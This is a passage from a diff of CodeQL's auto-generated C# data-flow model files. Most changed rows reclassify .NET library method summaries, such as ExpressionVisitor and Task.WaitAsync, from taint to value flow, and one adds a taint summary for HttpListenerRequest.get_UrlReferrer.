["System.Data.Odbc", "OdbcParameterCollection", False, "Add", "(System.String,System.Data.Odbc.OdbcType)", "", "Argument[0]", "ReturnValue.SyntheticField[System.Data.Odbc.OdbcParameter._parameterName]", "value", "dfc-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Globalization.model.yml b/csharp/ql/lib/ext/generated/System.Globalization.model.yml index 67a30e078d3e..d2215ceef1ad 100644 --- a/csharp/ql/lib/ext/generated/System.Globalization.model.yml +++ b/csharp/ql/lib/ext/generated/System.Globalization.model.yml @@ -17,7 +17,7 @@ extensions: - ["System.Globalization", "CultureInfo", False, "GetCultureInfo", "(System.String,System.String)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Globalization", "CultureInfo", False, "GetCultureInfo", "(System.String,System.String)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["System.Globalization", "CultureInfo", False, "GetCultureInfoByIetfLanguageTag", "(System.String)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["System.Globalization", "CultureInfo", False, "ReadOnly", "(System.Globalization.CultureInfo)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Globalization", "CultureInfo", False, "ReadOnly", "(System.Globalization.CultureInfo)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Globalization", "CultureInfo", False, "ToString", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Globalization", "CultureInfo", False, "get_IetfLanguageTag", "()", "", "Argument[this].Property[System.Globalization.CultureInfo.Name]", "ReturnValue", "value", "dfc-generated"] - ["System.Globalization", "CultureInfo", True, "get_Calendar", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Linq.Expressions.model.yml b/csharp/ql/lib/ext/generated/System.Linq.Expressions.model.yml index df2a8608eb31..207afa4d38ad 100644 --- a/csharp/ql/lib/ext/generated/System.Linq.Expressions.model.yml +++ b/csharp/ql/lib/ext/generated/System.Linq.Expressions.model.yml @@ -408,24 +408,24 @@ extensions: - ["System.Linq.Expressions", "Expression", True, "Accept", "(System.Linq.Expressions.ExpressionVisitor)", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] - ["System.Linq.Expressions", "Expression", True, "Reduce", "()", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] - ["System.Linq.Expressions", "Expression", True, "VisitChildren", "(System.Linq.Expressions.ExpressionVisitor)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - - ["System.Linq.Expressions", "Expression", True, "VisitChildren", "(System.Linq.Expressions.ExpressionVisitor)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Linq.Expressions", "Expression", True, "VisitChildren", "(System.Linq.Expressions.ExpressionVisitor)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Linq.Expressions", "Expression", False, "Update", "(System.Linq.Expressions.Expression,System.Collections.Generic.IEnumerable)", "", "Argument[1].Element", "ReturnValue", "taint", "df-generated"] - ["System.Linq.Expressions", "Expression", False, "Update", "(System.Linq.Expressions.Expression,System.Collections.Generic.IEnumerable)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", False, "Visit", "(System.Collections.ObjectModel.ReadOnlyCollection)", "", "Argument[0].Element", "Argument[this]", "taint", "df-generated"] - - ["System.Linq.Expressions", "ExpressionVisitor", False, "Visit", "(System.Collections.ObjectModel.ReadOnlyCollection)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] + - ["System.Linq.Expressions", "ExpressionVisitor", False, "Visit", "(System.Collections.ObjectModel.ReadOnlyCollection)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", False, "Visit", "(System.Collections.ObjectModel.ReadOnlyCollection,System.Func)", "", "Argument[0].Element", "Argument[1].Parameter[0]", "value", "dfc-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", False, "Visit", "(System.Collections.ObjectModel.ReadOnlyCollection,System.Func)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", False, "VisitAndConvert", "(System.Collections.ObjectModel.ReadOnlyCollection,System.String)", "", "Argument[0].Element", "Argument[this]", "taint", "df-generated"] - - ["System.Linq.Expressions", "ExpressionVisitor", False, "VisitAndConvert", "(System.Collections.ObjectModel.ReadOnlyCollection,System.String)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] + - ["System.Linq.Expressions", "ExpressionVisitor", False, "VisitAndConvert", "(System.Collections.ObjectModel.ReadOnlyCollection,System.String)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", False, "VisitAndConvert", "(T,System.String)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["System.Linq.Expressions", "ExpressionVisitor", False, "VisitAndConvert", "(T,System.String)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Linq.Expressions", "ExpressionVisitor", False, "VisitAndConvert", "(T,System.String)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "Visit", "(System.Linq.Expressions.Expression)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitBinary", "(System.Linq.Expressions.BinaryExpression)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitBinary", "(System.Linq.Expressions.BinaryExpression)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitBinary", "(System.Linq.Expressions.BinaryExpression)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitBlock", "(System.Linq.Expressions.BlockExpression)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitCatchBlock", "(System.Linq.Expressions.CatchBlock)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitConditional", "(System.Linq.Expressions.ConditionalExpression)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitConditional", "(System.Linq.Expressions.ConditionalExpression)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitConditional", "(System.Linq.Expressions.ConditionalExpression)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitConstant", "(System.Linq.Expressions.ConstantExpression)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitDebugInfo", "(System.Linq.Expressions.DebugInfoExpression)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitDefault", "(System.Linq.Expressions.DefaultExpression)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] @@ -433,22 +433,22 @@ extensions: - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitElementInit", "(System.Linq.Expressions.ElementInit)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitExtension", "(System.Linq.Expressions.Expression)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitGoto", "(System.Linq.Expressions.GotoExpression)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitGoto", "(System.Linq.Expressions.GotoExpression)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitGoto", "(System.Linq.Expressions.GotoExpression)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitIndex", "(System.Linq.Expressions.IndexExpression)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitIndex", "(System.Linq.Expressions.IndexExpression)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitIndex", "(System.Linq.Expressions.IndexExpression)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitInvocation", "(System.Linq.Expressions.InvocationExpression)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitInvocation", "(System.Linq.Expressions.InvocationExpression)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitInvocation", "(System.Linq.Expressions.InvocationExpression)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitLabel", "(System.Linq.Expressions.LabelExpression)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitLabelTarget", "(System.Linq.Expressions.LabelTarget)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitLambda", "(System.Linq.Expressions.Expression)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitListInit", "(System.Linq.Expressions.ListInitExpression)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitLoop", "(System.Linq.Expressions.LoopExpression)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitMember", "(System.Linq.Expressions.MemberExpression)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitMember", "(System.Linq.Expressions.MemberExpression)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitMember", "(System.Linq.Expressions.MemberExpression)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitMemberAssignment", "(System.Linq.Expressions.MemberAssignment)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitMemberAssignment", "(System.Linq.Expressions.MemberAssignment)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitMemberAssignment", "(System.Linq.Expressions.MemberAssignment)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitMemberBinding", "(System.Linq.Expressions.MemberBinding)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitMemberBinding", "(System.Linq.Expressions.MemberBinding)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitMemberBinding", "(System.Linq.Expressions.MemberBinding)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitMemberInit", "(System.Linq.Expressions.MemberInitExpression)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitMemberListBinding", "(System.Linq.Expressions.MemberListBinding)", "", "Argument[0].Property[System.Linq.Expressions.MemberListBinding.Initializers]", "ReturnValue.Property[System.Linq.Expressions.MemberListBinding.Initializers]", "value", "dfc-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitMemberListBinding", "(System.Linq.Expressions.MemberListBinding)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Linq.model.yml b/csharp/ql/lib/ext/generated/System.Linq.model.yml index 5df8d2ebac4d..7f25e2078365 100644 --- a/csharp/ql/lib/ext/generated/System.Linq.model.yml +++ b/csharp/ql/lib/ext/generated/System.Linq.model.yml @@ -157,7 +157,7 @@ extensions: - ["System.Linq", "Enumerable", False, "SingleOrDefault", "(System.Collections.Generic.IEnumerable,System.Func,TSource)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] - ["System.Linq", "Enumerable", False, "SingleOrDefault", "(System.Collections.Generic.IEnumerable,TSource)", "", "Argument[0].Element", "ReturnValue", "value", "dfc-generated"] - ["System.Linq", "Enumerable", False, "SingleOrDefault", "(System.Collections.Generic.IEnumerable,TSource)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - - ["System.Linq", "Enumerable", False, "SkipLast", "(System.Collections.Generic.IEnumerable,System.Int32)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] + - ["System.Linq", "Enumerable", False, "SkipLast", "(System.Collections.Generic.IEnumerable,System.Int32)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Linq", "Enumerable", False, "Take", "(System.Collections.Generic.IEnumerable,System.Range)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] - ["System.Linq", "Enumerable", False, "TakeLast", "(System.Collections.Generic.IEnumerable,System.Int32)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] - ["System.Linq", "Enumerable", False, "ToDictionary", "(System.Collections.Generic.IEnumerable>)", "", "Argument[0].Element.Property[System.Collections.Generic.KeyValuePair`2.Key]", "ReturnValue.Element.Property[System.Collections.Generic.KeyValuePair`2.Key]", "value", "dfc-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Net.model.yml b/csharp/ql/lib/ext/generated/System.Net.model.yml index a3a4da217a17..d21f1e15fb9d 100644 --- a/csharp/ql/lib/ext/generated/System.Net.model.yml +++ b/csharp/ql/lib/ext/generated/System.Net.model.yml @@ -47,6 +47,7 @@ extensions: - ["System.Net", "HttpListenerRequest", False, "get_ProtocolVersion", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Net", "HttpListenerRequest", False, "get_RawUrl", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Net", "HttpListenerRequest", False, "get_Url", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Net", "HttpListenerRequest", False, "get_UrlReferrer", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Net", "HttpListenerRequest", False, "get_UserAgent", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Net", "HttpListenerRequest", False, "get_UserHostName", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Net", "HttpListenerResponse", False, "AppendCookie", "(System.Net.Cookie)", "", "Argument[0]", "Argument[this].Property[System.Net.HttpListenerResponse.Cookies].Element", "value", "dfc-generated"] @@ -292,7 +293,6 @@ extensions: - ["System.Net", "HttpListenerRequest", "get_RequestTraceIdentifier", "()", "summary", "df-generated"] - ["System.Net", "HttpListenerRequest", "get_ServiceName", "()", "summary", "df-generated"] - ["System.Net", "HttpListenerRequest", "get_TransportContext", "()", "summary", "df-generated"] - - ["System.Net", "HttpListenerRequest", "get_UrlReferrer", "()", "summary", "df-generated"] - ["System.Net", "HttpListenerRequest", "get_UserHostAddress", "()", "summary", "df-generated"] - ["System.Net", "HttpListenerRequest", "get_UserLanguages", "()", "summary", "df-generated"] - ["System.Net", "HttpListenerResponse", "Abort", "()", "summary", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Reflection.model.yml b/csharp/ql/lib/ext/generated/System.Reflection.model.yml index 6758f9e29f0a..d743a5349273 100644 --- a/csharp/ql/lib/ext/generated/System.Reflection.model.yml +++ b/csharp/ql/lib/ext/generated/System.Reflection.model.yml @@ -123,7 +123,7 @@ extensions: - ["System.Reflection", "MethodInfo", True, "get_ReturnParameter", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Reflection", "MethodInfo", True, "get_ReturnType", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Reflection", "MethodInfo", True, "get_ReturnTypeCustomAttributes", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Reflection", "MethodInfoExtensions", False, "GetBaseDefinition", "(System.Reflection.MethodInfo)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Reflection", "MethodInfoExtensions", False, "GetBaseDefinition", "(System.Reflection.MethodInfo)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Reflection", "MethodInvoker", False, "Invoke", "(System.Object)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Reflection", "MethodInvoker", False, "Invoke", "(System.Object)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Reflection", "MethodInvoker", False, "Invoke", "(System.Object,System.Object)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] @@ -204,7 +204,7 @@ extensions: - ["System.Reflection", "ReflectionContext", True, "MapType", "(System.Reflection.TypeInfo)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Reflection", "ReflectionTypeLoadException", False, "get_Message", "()", "", "Argument[this].Property[System.Exception.Message]", "ReturnValue", "value", "dfc-generated"] - ["System.Reflection", "RuntimeReflectionExtensions", False, "GetMethodInfo", "(System.Delegate)", "", "Argument[0].Property[System.Delegate.Method]", "ReturnValue", "value", "dfc-generated"] - - ["System.Reflection", "RuntimeReflectionExtensions", False, "GetRuntimeBaseDefinition", "(System.Reflection.MethodInfo)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Reflection", "RuntimeReflectionExtensions", False, "GetRuntimeBaseDefinition", "(System.Reflection.MethodInfo)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Reflection", "RuntimeReflectionExtensions", False, "GetRuntimeInterfaceMap", "(System.Reflection.TypeInfo,System.Type)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Reflection", "TypeInfo", True, "AsType", "()", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] - ["System.Reflection", "TypeInfo", True, "GetDeclaredEvent", "(System.String)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Runtime.CompilerServices.model.yml b/csharp/ql/lib/ext/generated/System.Runtime.CompilerServices.model.yml index 2134ee1b6c13..d6cbb9f2b724 100644 --- a/csharp/ql/lib/ext/generated/System.Runtime.CompilerServices.model.yml +++ b/csharp/ql/lib/ext/generated/System.Runtime.CompilerServices.model.yml @@ -67,7 +67,7 @@ extensions: - ["System.Runtime.CompilerServices", "RuntimeOps", False, "ExpandoTrySetValue", "(System.Dynamic.ExpandoObject,System.Object,System.Int32,System.Object,System.String,System.Boolean)", "", "Argument[3]", "ReturnValue", "value", "dfc-generated"] - ["System.Runtime.CompilerServices", "RuntimeOps", False, "MergeRuntimeVariables", "(System.Runtime.CompilerServices.IRuntimeVariables,System.Runtime.CompilerServices.IRuntimeVariables,System.Int32[])", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Runtime.CompilerServices", "RuntimeOps", False, "MergeRuntimeVariables", "(System.Runtime.CompilerServices.IRuntimeVariables,System.Runtime.CompilerServices.IRuntimeVariables,System.Int32[])", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - - ["System.Runtime.CompilerServices", "RuntimeOps", False, "Quote", "(System.Linq.Expressions.Expression,System.Object,System.Object[])", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Runtime.CompilerServices", "RuntimeOps", False, "Quote", "(System.Linq.Expressions.Expression,System.Object,System.Object[])", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Runtime.CompilerServices", "RuntimeWrappedException", False, "RuntimeWrappedException", "(System.Object)", "", "Argument[0]", "Argument[this].SyntheticField[System.Runtime.CompilerServices.RuntimeWrappedException._wrappedException]", "value", "dfc-generated"] - ["System.Runtime.CompilerServices", "RuntimeWrappedException", False, "get_WrappedException", "()", "", "Argument[this].SyntheticField[System.Runtime.CompilerServices.RuntimeWrappedException._wrappedException]", "ReturnValue", "value", "dfc-generated"] - ["System.Runtime.CompilerServices", "StrongBox", False, "StrongBox", "(T)", "", "Argument[0]", "Argument[this].Field[System.Runtime.CompilerServices.StrongBox`1.Value]", "value", "dfc-generated"] diff --git a/csharp/ql/lib/ext/generated/System.ServiceModel.Syndication.model.yml b/csharp/ql/lib/ext/generated/System.ServiceModel.Syndication.model.yml index 0c9697edaa8f..ff97c65c48f5 100644 --- a/csharp/ql/lib/ext/generated/System.ServiceModel.Syndication.model.yml +++ b/csharp/ql/lib/ext/generated/System.ServiceModel.Syndication.model.yml @@ -76,6 +76,7 @@ extensions: - ["System.ServiceModel.Syndication", "SyndicationFeedFormatter", True, "ReadFrom", "(System.Xml.XmlReader)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.ServiceModel.Syndication", "SyndicationFeedFormatter", True, "SetFeed", "(System.ServiceModel.Syndication.SyndicationFeed)", "", "Argument[0]", "Argument[this].SyntheticField[System.ServiceModel.Syndication.SyndicationFeedFormatter._feed]", "value", "dfc-generated"] - ["System.ServiceModel.Syndication", "SyndicationItem", False, "AddPermalink", "(System.Uri)", "", "Argument[0].Property[System.Uri.AbsoluteUri]", "Argument[this].Property[System.ServiceModel.Syndication.SyndicationItem.Id]", "value", "dfc-generated"] + - ["System.ServiceModel.Syndication", "SyndicationItem", False, "AddPermalink", "(System.Uri)", "", "Argument[0]", "Argument[this].Property[System.ServiceModel.Syndication.SyndicationItem.Id]", "taint", "dfc-generated"] - ["System.ServiceModel.Syndication", "SyndicationItem", False, "SyndicationItem", "(System.ServiceModel.Syndication.SyndicationItem)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.ServiceModel.Syndication", "SyndicationItem", False, "SyndicationItem", "(System.String,System.ServiceModel.Syndication.SyndicationContent,System.Uri,System.String,System.DateTimeOffset)", "", "Argument[1]", "Argument[this].Property[System.ServiceModel.Syndication.SyndicationItem.Content]", "value", "dfc-generated"] - ["System.ServiceModel.Syndication", "SyndicationItem", False, "SyndicationItem", "(System.String,System.ServiceModel.Syndication.SyndicationContent,System.Uri,System.String,System.DateTimeOffset)", "", "Argument[3]", "Argument[this].Property[System.ServiceModel.Syndication.SyndicationItem.Id]", "value", "dfc-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Text.RegularExpressions.model.yml b/csharp/ql/lib/ext/generated/System.Text.RegularExpressions.model.yml index 83ab228ce7ce..b51a6406d817 100644 --- a/csharp/ql/lib/ext/generated/System.Text.RegularExpressions.model.yml +++ b/csharp/ql/lib/ext/generated/System.Text.RegularExpressions.model.yml @@ -12,7 +12,7 @@ extensions: - ["System.Text.RegularExpressions", "GroupCollection", False, "TryGetValue", "(System.String,System.Text.RegularExpressions.Group)", "", "Argument[this].Element", "Argument[1]", "value", "dfc-generated"] - ["System.Text.RegularExpressions", "GroupCollection", False, "get_Keys", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Text.RegularExpressions", "GroupCollection", False, "get_Values", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Text.RegularExpressions", "Match", False, "NextMatch", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Text.RegularExpressions", "Match", False, "NextMatch", "()", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Text.RegularExpressions", "Match", False, "Synchronized", "(System.Text.RegularExpressions.Match)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Text.RegularExpressions", "Regex+ValueMatchEnumerator", False, "GetEnumerator", "()", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] - ["System.Text.RegularExpressions", "Regex+ValueMatchEnumerator", False, "get_Current", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Threading.Tasks.model.yml b/csharp/ql/lib/ext/generated/System.Threading.Tasks.model.yml index 81a2c7cfbb4b..ec75fcd17853 100644 --- a/csharp/ql/lib/ext/generated/System.Threading.Tasks.model.yml +++ b/csharp/ql/lib/ext/generated/System.Threading.Tasks.model.yml @@ -17,13 +17,13 @@ extensions: - ["System.Threading.Tasks", "Task", False, "FromCanceled", "(System.Threading.CancellationToken)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Threading.Tasks", "Task", False, "GetAwaiter", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.Threading.CancellationToken)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.Threading.CancellationToken)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.TimeSpan)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.Threading.CancellationToken)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] + - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.TimeSpan)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.TimeSpan,System.Threading.CancellationToken)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.TimeSpan,System.Threading.CancellationToken)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.TimeSpan,System.TimeProvider)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.TimeSpan,System.Threading.CancellationToken)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] + - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.TimeSpan,System.TimeProvider)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.TimeSpan,System.TimeProvider,System.Threading.CancellationToken)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] - - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.TimeSpan,System.TimeProvider,System.Threading.CancellationToken)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.TimeSpan,System.TimeProvider,System.Threading.CancellationToken)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Threading.Tasks", "Task", False, "WhenAny", "(System.Collections.Generic.IEnumerable)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] - ["System.Threading.Tasks", "Task", False, "WhenAny", "(System.ReadOnlySpan)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Threading.Tasks", "Task", False, "WhenAny", "(System.Threading.Tasks.Task,System.Threading.Tasks.Task)", "", "Argument[0]", "ReturnValue.Property[System.Threading.Tasks.Task`1.Result]", "value", "dfc-generated"] @@ -33,11 +33,11 @@ extensions: - ["System.Threading.Tasks", "Task", False, "WhenEach", "(System.Threading.Tasks.Task[])", "", "Argument[0].Element", "ReturnValue.Element", "value", "dfc-generated"] - ["System.Threading.Tasks", "Task", False, "get_AsyncState", "()", "", "Argument[this].SyntheticField[System.Threading.Tasks.Task.m_stateObject]", "ReturnValue", "value", "dfc-generated"] - ["System.Threading.Tasks", "Task", False, "ConfigureAwait", "(System.Threading.Tasks.ConfigureAwaitOptions)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.Threading.CancellationToken)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.TimeSpan)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.TimeSpan,System.Threading.CancellationToken)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.TimeSpan,System.TimeProvider)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.TimeSpan,System.TimeProvider,System.Threading.CancellationToken)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.Threading.CancellationToken)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] + - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.TimeSpan)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] + - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.TimeSpan,System.Threading.CancellationToken)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] + - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.TimeSpan,System.TimeProvider)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] + - ["System.Threading.Tasks", "Task", False, "WaitAsync", "(System.TimeSpan,System.TimeProvider,System.Threading.CancellationToken)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Threading.Tasks", "TaskAsyncEnumerableExtensions", False, "ConfigureAwait", "(System.IAsyncDisposable,System.Boolean)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - 